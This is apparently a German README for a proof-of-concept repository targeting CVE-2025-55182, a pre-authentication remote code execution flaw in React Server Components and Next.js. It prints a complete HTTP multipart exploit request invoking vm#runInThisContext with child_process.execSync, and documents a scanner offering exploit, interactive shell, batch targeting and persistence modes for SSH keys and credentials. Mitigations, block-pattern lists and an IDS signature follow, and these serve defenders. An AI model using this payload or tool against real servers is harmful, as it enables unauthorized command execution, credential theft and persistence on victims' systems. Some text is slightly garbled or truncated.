
Vereinheitlichtes Sicherheitsforschungstool
Sicherheitsforschung von schema.cx
„Kontrolle ist eine Illusion. Es sind die Systeme, die wir bauen, die uns kontrollieren – es sei denn, wir verstehen sie zuerst.“
DIESES WERKZEUG IST NUR FÜR AUTORISIERTE SICHERHEITSTESTS
STOPP. LESEN SIE DIES, BEVOR SIE FORTFAHREN.
Dieses Repository enthält Proof-of-Code für eine kritische Sicherheitslücke. Durch den Zugriff, das Herunterladen oder die Nutzung von Materialien in diesem Repository erkennen Sie Folgendes an und stimmen zu:
Schriftliche Genehmigung erforderlich: Sie MÜSSEN eine ausdrückliche, schriftliche Genehmigung des Systemeigentümers haben, bevor Sie Sicherheitstests durchführen. Mündliche Vereinbarungen reichen nicht aus.
Umfangsbeschränkungen: Tests müssen auf Systeme beschränkt sein, die in Ihrer Genehmigung ausdrücklich aufgeführt sind. „Scope Creep“ ist nicht gestattet.
Anwendbare Gesetze: Unbefugter Zugriff auf Computersysteme verstößt gegen:
DIE AUTOREN UND MITWIRKENDEN DIESES REPOSITORY:
„Die Frage ist nicht, ob wir die Schwachstelle ausnutzen können. Es ist die Frage, ob wir es sollten und zu welchem Zweck.“
CVE-2025-55182 ist eine kritische Pre-Authentication Remote Code Execution (RCE) Schwachstelle, die React Server Components in React 19.x- und Next.js 15.x-16.x-Anwendungen betrifft.
Diese Schwachstelle ermöglicht es jedem nicht authentifizierten Angreifer mit Netzwerkzugriff auf eine angreifbare Anwendung, beliebige Befehle auf dem Server auszuführen. Der Angriff erfordert keine Anmeldedaten, keine Benutzerinteraktion und kann vollständig automatisiert werden. Eine erfolgreiche Ausnutzung führt zu:
„Menschen vertrauen Systemen, weil sie sie nicht verstehen. Dieses Vertrauen ist eine Schwachstelle.“
Die Schwachstelle existiert in der Implementierung von Reacts Flight-Protokoll innerhalb der Funktion requireModule. Diese Funktion verwendet die Klammernotation, um auf Modulexporte basierend auf benutzergesteuerter Eingabe zuzugreifen, ohne zu validieren, dass die angeforderte Eigenschaft eine eigene Eigenschaft des Moduls ist.
Position des angreifbaren Codes:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Funktion: requireModule (ca. Zeilen 2546-2558 in v19.0.0)
Angreifbares Muster:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... asynchrone Behandlung ...
return moduleExports[metadata[2]]; // ← ANGREIFBAR: Keine hasOwnProperty-Prüfung
}
Der Angriff nutzt die Prototyp-Ketten-Traversierung in JavaScript:
$ACTION_0:0 enthält JSON mit von Angreifer kontrollierten Eigenschaften id (Modul#Export-Format) und bound (Argumente)constructor oder Zugriff auf Prototyp-Eigenschaften können Angreifer auf integrierte Node.js-Module verweisenvm.runInThisContext, child_process.execSync oder fs.readFileSync werden mit vom Angreifer bereitgestellten Argumenten ausgeführtHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // Analysiert "Modul#Export"-Format
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // Prototyp-Kettenzugriff → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
„Jedes System hat eine Tür. Die Frage ist, ob Sie das Schloss selbst gebaut haben – oder ob Sie es von jemandem geerbt haben, der nie Besucher erwartet hat.“
| Produkt | Angreifbare Versionen | Gepatchte Versionen |
|---|---|---|
| React | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1+, 19.1.2+, 19.2.1+ |
| Next.js | 15.x, 16.x (verwendet angreifbares React) | Versionen mit gepatchtem React |
vm, child_process oder fs im Webpack-Bundle seinDieses Repository enthält einen umfassenden Python-basierten Sicherheitsscanner mit mehreren Betriebsmodi.
CVE-2025-55182-poc/
├── README.md # Diese Datei
├── scanner/
│ ├── __init__.py # Python-Paket-Initialisierung
│ ├── scanner.py # Hauptscanner (6 Modi)
│ ├── readme.md # Detaillierte Scanner-Dokumentation
│ ├── requirements.txt # Python-Abhängigkeiten
│ └── docs/
│ ├── TECHNICAL-ANALYSIS.md # Tiefergehende Analyse der Schwachstelle
│ └── VULNERABLE-PACKAGES.md # Betroffene Paketversionen
Installation:
cd scanner
pip install -r requirements.txt
Schwachstellenscan:
# Prüfen, ob das Ziel angreifbar ist
python scanner.py scan https://target.com
Gadget-Erkennung:
# Verfügbare RCE-Gadgets identifizieren
python scanner.py exploit https://target.com --detect-gadgets
Befehlsausführung (mit Autorisierung):
# Befehl auf angreifbarem Ziel ausführen
python scanner.py exploit https://target.com -c "whoami"
Stapeltest:
# Mehrere Ziele aus einer Datei testen
python scanner.py batch -f targets.txt -o results.json
Automatisiertes Scannen mit Verifikation:
# Umfassender Scan mit Exploit-Verifikation
python scanner.py auto -f targets.txt -o report.txt
Angreifbares Ziel:
[+] VULNERABLE to CVE-2025-55182!
Framework: Next.js
Version: 15.1.0
Confidence: HIGH
Available Gadgets:
✓ vm#runInThisContext
✓ child_process#execSync
✓ fs#readFileSync
✓ fs#writeFileSync
Gepatchtes Ziel:
[-] Not vulnerable or unable to determine
Framework detected: Next.js
Version: 15.2.0 (patched)
Die vollständige Dokumentation finden Sie unter scanner/readme.md.
„Ein Werkzeug ist nur so gefährlich wie die Absicht dahinter. In den richtigen Händen wird eine Waffe zum Schild.“
/etc/passwd, SSH-Schlüssel, Cloud-AnmeldedatenDatenpanne: Angreifer liest .env-Dateien mit Datenbank-Anmeldedaten und exfiltriert Kundendaten
Cryptominer-Installation: Angreifer schreibt Mining-Skript, fügt Cron-Job für Persistenz hinzu
Lieferkettenangriff: Angreifer ändert Quellcode in der Produktion und liefert bösartigen Inhalt an Benutzer
Seitwärtsbewegung: Kompromittierter Server wird zum Angriff auf interne Datenbanken, APIs und Dienste verwendet
Ransomware: Angreifer verschlüsselt Anwendungsdateien und fordert Zahlung für Entschlüsselungsschlüssel
React sofort aktualisieren
npm update react react-dom react-server-dom-webpack
Zielversionen: 19.0.1+, 19.1.2+ oder 19.2.1+
Patch-Anwendung überprüfen
npm ls react
Stellen Sie sicher, dass keine angreifbaren Versionen in Ihrem Abhängigkeitsbaum verbleiben
Blockieren Sie Anfragen, die diese Muster enthalten:
# Anfragekörper-Muster zum Blockieren
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync
Schließen Sie gefährliche Pakete vom Webpack-Bundling aus:
// next.config.js
module.exports = {
serverExternalPackages: [
'sharp',
'puppeteer',
'execa',
'shelljs',
'vm2'
]
}
Zu überwachende Log-Muster:
$ACTION_REF_- oder $ACTION_ID_-Felder in Anfragekörpern/api/*-Endpunkte mit Multipart-Formulardaten, die JSON enthaltenconstructor, prototype oder unerwarteten Modulzugriff verweisenIntrusion-Detection-Signaturen:
alert http any any -> $HOME_NET any (
msg:"CVE-2025-55182 Exploit Attempt";
content:"$ACTION_";
content:"#constructor"; distance:0;
sid:2025551820; rev:1;
)
npm audit, Snyk oder ähnlichen Werkzeugen„Patchen bedeutet nicht nur, zu reparieren, was kaputt ist. Es bedeutet, die Türen zu schließen, von denen Sie nicht wussten, dass sie offen sind.“
Diese Offenlegung folgt den CERT/CC Vulnerability Disclosure Guidelines und den ISO/IEC 29147:2018-Standards für koordinierte Offenlegung von Schwachstellen.
Dieser Proof-of-Concept wurde vom Sicherheitsforschungsteam bei schema.cx entwickelt.
Repository: https://github.com/ejpir/CVE-2025-55182-poc
Wir danken:
Dieses Projekt wird nur für Bildungszwecke und autorisierte Sicherheitsforschung veröffentlicht.
Durch die Nutzung dieser Software stimmen Sie zu:
„Wir hacken nicht, um zu zerstören. Wir hacken, um zu verstehen. Und Verstehen ist der erste Schritt, um etwas Besseres zu bauen.“
schema.cx – Sicherheitsforschung für eine sicherere digitale Welt
| Metrik | Bewertung |
|---|
| CVSS v3.1 Basisscore | 10.0 KRITISCH |
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Auswirkung (V/I/V) | Hoch / Hoch / Hoch |
| Gadget | Modul | Beschreibung | Auswirkung |
|---|
vm#runInThisContext | vm | Führt JS im aktuellen Kontext aus | Direkte RCE |
vm#runInNewContext | vm | Führt JS in einer Sandbox (ausbrechbar) aus | Direkte RCE |
child_process#execSync | child_process | Führt Shell-Befehle aus | Direkte RCE |
child_process#spawnSync | child_process | Startet Prozesse | Direkte RCE |
fs#readFileSync | fs | Liest beliebige Dateien | Datencx-filtration |
fs#writeFileSync | fs | Schreibt beliebige Dateien | Persistenz/Hintertür |
module#_load | module | Lädt JS-Module (2-Schritt-RCE) | Indirekte RCE |
| Modul | Wahrscheinlichkeit im Bundle | Häufige Quellen |
|---|
fs | Sehr hoch | fs-extra, gray-matter, multer, sharp, chokidar |
child_process | Mittel-hoch | execa, shelljs, puppeteer, sharp, PDF-Generatoren |
vm | Niedrig-mittel | ejs, pug, Template-Engines |
module | Sehr niedrig | tsx, ts-node (normalerweise nur CLI) |
| Modus | Zweck |
|---|
scan | Schwachstellenerkennung und Fingerprinting |
exploit | Kontrollierte Ausnutzung mit bestimmten Gadgets |
shell | Interaktive Befehlsshell auf angreifbaren Zielen |
batch | Testen mehrerer URLs mit Statistiken |
auto | Automatisiertes Mehrziel-Scannen mit Verifikation |
persist | Persistenzangriffsdemonstrationen (SSH-Schlüssel, Anmeldedaten) |
| Datum | Ereignis |
|---|
| Entdeckung | Informationen ausstehend |
| Benachrichtigung des Anbieters | Informationen ausstehend |
| Bestätigung durch den Anbieter | Informationen ausstehend |
| Patch-Entwicklung | Informationen ausstehend |
| Patch-Veröffentlichung | React 19.0.1, 19.1.2, 19.2.1 |
| Öffentliche Offenlegung | Informationen ausstehend |
| CVE-Zuweisung | CVE-2025-55182 |